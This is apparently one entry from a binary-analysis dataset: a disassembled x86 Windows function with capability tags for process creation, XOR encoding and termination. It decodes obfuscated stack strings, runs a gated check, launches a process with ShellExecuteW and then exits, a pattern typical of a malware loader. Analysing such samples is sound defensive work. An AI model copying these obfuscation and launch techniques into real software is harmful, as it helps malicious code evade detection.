Function at 0x40d0a0
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x2c
mov dword [esp], 0x21264133
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov eax, 0x63bba4f9
mov ecx, 0x9c445b07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x63bba4f9]
mov edx, eax
and edx, esi
lea edi, [ecx + edx*2]
add edx, edx
not edx
add edx, eax
and edx, esi
not esi
and esi, edi
sub edx, esi
add dl, 0x23
mov byte [esp + eax - 0x63bba4f9], dl
inc eax
dec ecx
cmp eax, 0x63bba500
jne 0x40d0d0
mov edi, dword [esp]
call fcn.0043eaf0
test al, al
je 0x40d32e
call fcn.00436bb0
test al, al
je 0x40d329
mov eax, edi
and eax, 0xcb5852f8
mov ecx, edi
and ecx, 0x34a7ad07
or edi, 0x34a7ad07
imul edi, ecx
xor ecx, 0x34a7ad07
imul ecx, eax
add edi, ecx
mov esi, edi
shr esi, 7
mov eax, esi
and eax, edi
add eax, eax
mov ecx, esi
sub ecx, eax
add ecx, edi
lea eax, [ecx + ecx]
not eax
add eax, ecx
and eax, esi
mov edx, eax
and edx, 0xfffffffd
mov ebx, eax
and ebx, 2
mov ecx, eax
or ecx, 0xfffffffd
inc ecx
imul ecx, edx
or eax, 2
imul eax, ebx
sub ecx, eax
add esi, edi
add esi, ecx
mov edx, esi
and edx, 0xf5ae3701
mov ecx, esi
or ecx, 0xf5ae3701
lea eax, [ecx + ecx]
not eax
add eax, ecx
mov ecx, edx
not ecx
and ecx, eax
imul ecx, edx
mov edi, eax
and edi, edx
or eax, edx
imul eax, edi
mov edx, esi
and edx, 0xa51c8fe
or esi, 0xa51c8fe
imul esi, edx
add esi, ecx
add esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp], 0x961a659
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x40
xor cl, byte [esp + eax]
add cl, 0xc0
mov byte [esp + eax], cl
inc eax
cmp eax, 5
jne 0x40d1d0
cmp esi, dword [esp]
jne 0x40d306
mov dword [esp], 0x57e349e7
mov dword [esp + 4], 0x532055f8
mov dword [esp + 8], 0x5fe651fd
mov dword [esp + 0xc], 0x5b3a5df1
mov dword [esp + 0x10], 0xa709592b
mov dword [esp + 0x14], 0xa5a4
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov eax, 0xb6bb8cee
mov ecx, 0x49447311
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x49447312]
mov esi, eax
and esi, edx
add esi, esi
sub esi, edx
add esi, ecx
and esi, eax
mov edi, esi
and edi, 2
mov ebx, esi
or esi, 2
imul esi, edi
xor edi, 2
and ebx, 0xb6bb8dfd
imul ebx, edi
add esi, ebx
mov ebx, esi
xor ebx, eax
and esi, ecx
add esi, esi
sub ebx, esi
add ebx, edx
mov edx, ebx
not edx
and edx, 0xa7
and ebx, 0x58
sub ebx, edx
inc bl
mov byte [esp + eax + 0x49447312], bl
inc eax
dec ecx
cmp eax, 0xb6bb8d09
jne 0x40d240
mov dword [esp + 0x1c], 0x9fee99eb
mov dword [esp + 0x20], 0xa3d09df9
mov dword [esp + 0x24], 0xa1a0
mov byte [esp + 0x28], 0
mov eax, 0x9a
mov ecx, 0x65
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x7e]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xfe
mov byte [esp + eax - 0x7e], dl
inc eax
dec ecx
cmp eax, 0xa7
jne 0x40d2d0
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x446050
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d316
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e2c0
test al, al
je 0x40d329
call fcn.00410980
call fcn.0040f9e0
call fcn.0043f9f0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]